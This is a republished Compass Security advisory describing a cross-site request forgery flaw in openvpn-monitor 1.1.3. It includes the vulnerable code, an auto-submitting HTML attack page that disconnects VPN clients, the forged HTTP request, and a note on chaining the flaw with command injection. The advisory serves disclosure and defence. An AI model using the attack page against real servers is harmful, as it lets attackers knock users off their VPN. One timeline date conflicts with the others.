OpenVPN Monitor 1.1.3 Cross Site Request Forgery

🗓️ 24 Sep 2021 00:00:00Reported by Sylvain HeinigerType

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OpenVPN Monitor 1.1.3 CSRF Vulnerabilit

Reporter	Title	Published	Views	Family All 30
0day.today	OpenVPN Monitor 1.1.3 Cross Site Request Forgery Vulnerability	25 Sep 202100:00	–	zdt
0day.today	OpenVPN Monitor 1.1.3 Command Injection Vulnerability	25 Sep 202100:00	–	zdt
0day.today	OpenVPN Monitor 1.1.3 Authorization Bypass / Denial Of Service Vulnerabilities	25 Sep 202100:00	–	zdt
Circl	CVE-2021-31604	27 Sep 202112:34	–	circl
Circl	CVE-2021-31606	27 Sep 202112:34	–	circl
CNNVD	Openvpn OpenVPN 跨站请求伪造漏洞	24 Sep 202100:00	–	cnnvd
CNNVD	Openvpn OpenVPN 授权问题漏洞	24 Sep 202100:00	–	cnnvd
CVE	CVE-2021-31604	27 Sep 202105:32	–	cve
CVE	CVE-2021-31606	27 Sep 202100:00	–	cve
Cvelist	CVE-2021-31604	27 Sep 202105:32	–	cvelist

`#############################################################  
#  
# COMPASS SECURITY ADVISORY  
# https://www.compass-security.com/research/advisories/  
#  
#############################################################  
#  
# Product: openvpn-monitor  
# Vendor: https://github.com/furlongm/openvpn-monitor  
# CSNC ID: CSNC-2021-011  
# CVE ID: CVE-2021-31604  
# Subject: Cross-Site Request Forgery (CSRF)  
# Severity: Medium  
# Effect: Denial of Service  
# Author: Emanuel Duss <[email protected]>  
# Sylvain Heiniger <[email protected]>  
# Date: 2021-09-22  
#  
#############################################################  
  
Introduction  
------------  
  
openvpn-monitor is a simple Python program to generate HTML that displays the  
status of an OpenVPN server, including all current connections. It uses the  
OpenVPN management console. It typically runs on the same host as the OpenVPN  
server. [0][1]  
  
During a customer project, several security vulnerabilities were discovered in  
this software.  
  
This advisory describes an a CSRF vulnerability which allows an attacker to  
disconnect arbitrary VPN clients.  
  
  
Affected  
--------  
  
- Vulnerable: openvpn-monitor <= 1.1.3  
- Not vulnerable: none  
  
The vulnerability is already fixed in the source code [3], but there is no new  
release which contains the fix. Therefore, all currently available releases  
contain this vulnerability.  
  
  
Technical Description  
---------------------  
  
The client disconnect feature does not require a CSRF token:  
  
[CUT BY COMPASS]  
@app.route('/', method='POST')  
def post_slash():  
vpn_id = request.forms.get('vpn_id')  
ip = request.forms.get('ip')  
port = request.forms.get('port')  
client_id = request.forms.get('client_id')  
return render(vpn_id=vpn_id, ip=ip, port=port, client_id=client_id)  
[CUT BY COMPASS]  
  
  
An attacker can create the following CSRF attack page:  
  
<html>  
<!-- CSRF PoC - generated by Burp Suite Professional -->  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="http://openvpn-monitor.example.net/" method="POST">  
<input type="hidden" name="vpn_id" value="UDP" />  
<input type="hidden" name="ip" value="10.5.23.42" />  
<input type="hidden" name="port" value="1194" />  
<input type="hidden" name="client_id" value="5" />  
<input type="submit" value="Submit request" />  
</form>  
<script>  
document.forms[0].submit();  
</script>  
</body>  
</html>  
  
When a victim with access to the openvpn-monitor application accesses this  
attack page, the following HTTP request is automatically sent to the  
openvpn-monitor application:  
  
POST / HTTP/1.1  
Host: openvpn-monitor.example.net  
Content-Type: application/x-www-form-urlencoded  
Origin: http://attacker.example.com  
Referer: http://attacker.example.com/attackpage.html  
[CUT BY COMPASS]  
  
vpn_id=UDP&ip=10.5.23.42&port=1194&client_id=5  
  
This will disconnect the client with the ID 5.  
  
Knowing or guessing the `client_id` parameter is sufficient for an attacker.  
It's not needed to know the exact values of the other parameters, since they  
are only used on oder OpenVPN server versions:  
  
[CUT BY COMPASS]  
class OpenvpnMgmtInterface(object):  
  
def __init__(self, cfg, **kwargs):  
self.vpns = cfg.vpns  
  
if kwargs.get('vpn_id'):  
vpn = self.vpns[kwargs['vpn_id']]  
self._socket_connect(vpn)  
if vpn['socket_connected']:  
release = self.send_command('version\n')  
version = semver(self.parse_version(release).split(' ')[1])  
if version.major == 2 and \  
version.minor >= 4 and \  
kwargs.get('client_id'):  
command = 'client-kill {0!s}\n'.format(kwargs['client_id'])  
else:  
command = 'kill {0!s}:{1!s}\n'.format(kwargs['ip'], kwargs['port'])  
self.send_command(command)  
self._socket_disconnect()  
[CUT BY COMPASS]  
  
This attack can even be performed if the client disconnect feature is disabled  
because of the authorization bypass vulnerability (CVE-2021-31606) and be  
combined with the management socket command injection vulnerability  
(CVE-2021-31604) to send arbitrary commands via a CSRF attack page to the  
OpenVPN server management interface socket. This would then have a much higher  
severity.  
  
  
Vulnerability Classification  
----------------------------  
  
CVSS v3.1 Metrics [2]:  
  
* CVSS Base Score: 4.7  
* CVSS Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:L  
  
  
Workaround / Fix  
----------------  
  
# openvpn-monitor Vendor  
  
Each non-idempotent request must contain an additional token that cannot be  
predicted by the attacker. When receiving a request, the server needs to  
validate the token. If the token is incorrect, missing, or does not match the  
user's session, the request should be dropped.  
  
# openvpn-monitor Users  
  
Since there is no CSRF protection implemented at the moment, a possible  
workaround would be to add HTTP Basic Authentication e.g. via a reverse proxy  
using a strong password. An attacker could therefore not perform CSRF attacks  
anymore, because the password (which is unknown to the attacker) would have to  
be sent in the HTTP request header.  
  
  
Timeline  
--------  
  
2021-05-05: Vulnerability discovered  
2021-04-20: Requested CVE ID @ MITRE  
2021-04-20: Contacted vendor  
2021-04-22: Sent details via email to vendor  
2021-04-24: Vendor confirmed and already started to work on a fix  
2021-09-08: Asked vendor for updates  
2021-09-08: Vendor told it's planned to fix the CSRF issue  
but it's also OK to already publish the advisory  
2021-09-22: Public disclosure  
  
  
References  
----------  
  
[0] http://openvpn-monitor.openbytes.ie/  
[1] https://github.com/furlongm/openvpn-monitor  
[2] https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:L&version=3.1  
  
  
`

24 Sep 2021 00:00Current

0.3Low risk

Vulners AI Score0.3

EPSS0.0108